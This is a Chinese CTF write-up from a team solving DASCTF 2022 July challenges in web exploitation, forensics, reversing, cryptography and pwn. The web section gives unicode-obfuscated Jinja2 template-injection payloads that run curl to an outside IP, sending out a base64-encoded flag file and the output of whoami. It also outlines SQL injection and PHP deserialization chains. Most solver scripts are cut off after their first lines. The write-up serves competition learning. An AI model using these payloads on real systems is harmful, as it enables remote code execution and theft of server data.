DASCTF2022 07赋能赛
队伍名称
TeamGipsy
排名
解题思路
WEB
Ez to getflag
直接搜索/flag,得到flag
Harddisk
复现
过滤了亿个字符,甚至x|g
两个字母也被过滤了(人心险恶
一些关键词可以利用unicode编码绕过,因为print被过滤了所以这里的用curl外带。但是没有打通
1 | {%set%0apo=dict(po=a,p=a)|join%} |
别的师傅的正确的payload
(能理解,但是没想到🥀:
1 | {%if(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0038\u0032\u002e\u0031\u0035\u0036\u002e\u0032\u002e\u0031\u0036\u0036\u003a\u0032\u0033\u0033\u0033\u002f\u0060\u0063\u0061\u0074\u0020\u002f\u0066\u0031\u0061\u0067\u0067\u0067\u0067\u0068\u0065\u0072\u0065\u0020\u007c\u0062\u0061\u0073\u0065\u0036\u0034\u0060"))%}test{%endif%} |
利用万能for循环构造payload
https://www.cnblogs.com/hetianlab/p/14154635.html
1 | {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{%endif%}{% endif %}{% endfor %} |
注意中间的{{……}}
需要改成{%……%}
,unicode编码绕过,用__getitem__
代替中括号
相应的payload类似:
1 | {{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} |
所以需要构造的payload为(注意eval处也要加上:
1 | {% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__.__getitem__(__builtins__).__getitem(eval)("__import__('os').popen('whoami').read()") }}{%endif%}{% endif %}{% endfor %} |
构造最终payload:
1 | {%for%0ac%0ain%0a""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f")|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()%}{%if%0a(c|attr("\u005f\u005f\u006e\u0061\u006d\u0065\u005f\u005f"))=="\u0063\u0061\u0074\u0063\u0068\u005f\u0077\u0061\u0072\u006e\u0069\u006e\u0067\u0073"%}{%if%0a(c|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u005f\u005f\u0062\u0075\u0069\u006c\u0074\u0069\u006e\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0065\u0076\u0061\u006c")("\u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f\u0028\u0027\u006f\u0073\u0027\u0029\u002e\u0070\u006f\u0070\u0065\u006e\u0028\u0027\u0063\u0075\u0072\u006c\u0020\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0038\u0032\u002e\u0031\u0035\u0036\u002e\u0032\u002e\u0031\u0036\u0036\u003a\u0032\u0033\u0033\u0033\u002f\u0060\u0077\u0068\u006f\u0061\u006d\u0069\u0060\u0027\u0029\u002e\u0072\u0065\u0061\u0064\u0028\u0029")%}aaa{%%0aendif%0a%}{%%0aendif%0a%}{%%0aendfor%0a%} |
绝对防御
复现
从js文件中发现 SUPERAPI.php
查看源码可以发现存在id参数,存在sql注入,前面过滤了一些特殊符号但是bp传输可以发现前端会跳转但是这里不会,说明那些过滤一点用都没有
exp:
1 | import requests |
Newser
复现
- php引用绕过wakeup | 闭包函数的反序列化
DASCTF|2022DASCTF7月赋能赛官方Write Up (qq.com)
源码
查看Cookie发现存在user值,base64解码之后是User类序列化之后的字符串,想着能不能从User#__destruct
入手,但是没找到存在__get
的原生类
1 |
|
学习学习学习!!!
存在composer.json
泄露,fakerphp/faker
依赖不是很熟悉,但是opis/closure
的相关知识在之前做过一点分析直接用composer导入两个依赖
1 | { |
导入:
1 | composer require fakerphp/faker |
接下去就是先审计了,前面卡在了没找到存在可利用的__get
魔术方法的原生类,那么现在再全局搜索一下
在Generator
类中存在可利用的,在format方法中调用到call_user_func_array,但是类里面又有__wakeup使得formatters 数组被清空,因此我们需要绕过这个点,其实这个在之前nepnep中遇到过类似的,额,应该说是一模一样,也就是Laravel 9.1.8 其中一条的链子,
https://xz.aliyun.com/t/11362#toc-10
那么只要把$this->formatters
为我们可控属性的引用,那么当我们的修改该值的时候相应的也会修改$this->formatters
从而绕过wakeup。而User类在反序列化的时候__wakeup
魔术方法中会修改$this->password = $this->_password;
,而$this->_password
又是我们可控的,而User#__wakeup
又是在最后才会调用,所以就能实现对$this->formatters
的修改了
1 | public function __get($attribute) |
exp1:
1 |
|
但是参数我们不可控,不过既然存在闭包函数反序列化的依赖,那就直接利用
1 |
|
MISC
ez_forenisc
先挂载爆破出Bitlock的秘钥
打开之后,发现一个cipher跟txt,txt没用,cipher里面是一个图片,zsteg分析后,有一个zip,用zsteg提取出来
得到一个压缩包
然后去找登录密码
取证大师直接梭
得到
550f37c7748e
然后解压,再那去看,有事一个key,估计还有东西没找到
查看屏幕截图,发现还有一个thes3cret
dump下来
一串base,可以先拿去解密,已经可以猜到是aes了
看到是Salted开头,确定是aes,然后解密得到flag
1 | DASCTF{2df05d6846ea7a0ba948da44daa7dc88} |
Colorful Strips(赛后复现)
转灰度,用jio转,试了下ps要调参数,否则会丢失色彩信息,参数可以调,但试了下很模糊,等预期解吧
1 | import cv2 as cv |
听说你是个侦探(赛后复现)
可以爆破密码,写个字典,最后跑出来ICYBETRAYALS
然后根据提示,试了下盲水印但是不行,最后敏感的察觉一下文件名,异或,很无语
前面改成DASCTF就行
REVERSE
隐秘的角落
关键函数main_checkflag,输入经过rc4加密后和main_enc进行校验,密钥main_enc_key:thisiskkk
main_init_0中对main_enc进行初始化异或
1 | import base64 |
CRYPTO
babysign
已知r,s,nonce,msg,order
,k = nonce
,s = k^{-1} * (msg + r*secret)\% order
其中order
为固定值
1 | import hashlib |
easyNTRU
n=10
很小直接爆破m
1 | from Crypto.Hash import SHA3_256 |
NTRURSA
先多项式RSA分解求hint(h)
,然后NTRU
求g1
,最后爆破rang
求g
,之后就是普通的ras
。脚本网上都有,拿来用就行。
1 | from Crypto.Util.number import * |
LWE?(复现)
LWE? GGH?用Babai的算法好像通吃?(198×200的矩阵LLL要一点点的时间)b = x*A+b*Y+z*C+e
可以看成b = secret*D+e
,即将x,y,z;A,B,C
拼起来,酱紫看起来就像GGH的形式了;但转化一下行和列又能有b' = D'*secret+e
,酱紫看来又好像是LWE了。
道理我不懂,脚本我会用
反正Babai算法和Nguyen’s Attack算法都可解
DASCTF{dcf41556-c194-4c66-9092-059e0bf8b84e}
1 | # 跑个半小时? |
不过用下面这种好像要快亿点(大概1分半)
小注意:
- solve_left()方法好像要一个方方正正的矩阵所以改成了198×198的矩阵
- 利用Nguyen’s Attack算法,不过这里的delta变成了1,加密代码中的errorV由组成,与GGH加密中的误差向量取3或-3相对比,delta自然变成了1。
- 原GGH加密中的误差向量取3或-3,这里取的-1,0,1,m解出来存在误差,四舍五入一下就好了
- 参考:GYCTF 2020 - GGH
1 | # 数据导入省略 |
pwn
eyfor
输入size的时候有一个整数溢出,所以通过栈溢出就能完成
1 |
|
MyCanary2
溢出覆盖之后只要让程序leak一下,sercet就会变回去,然后注意一下栈上的v4要为0就好了
1 |
|
compat
复现
1 | #encoding: utf-8 |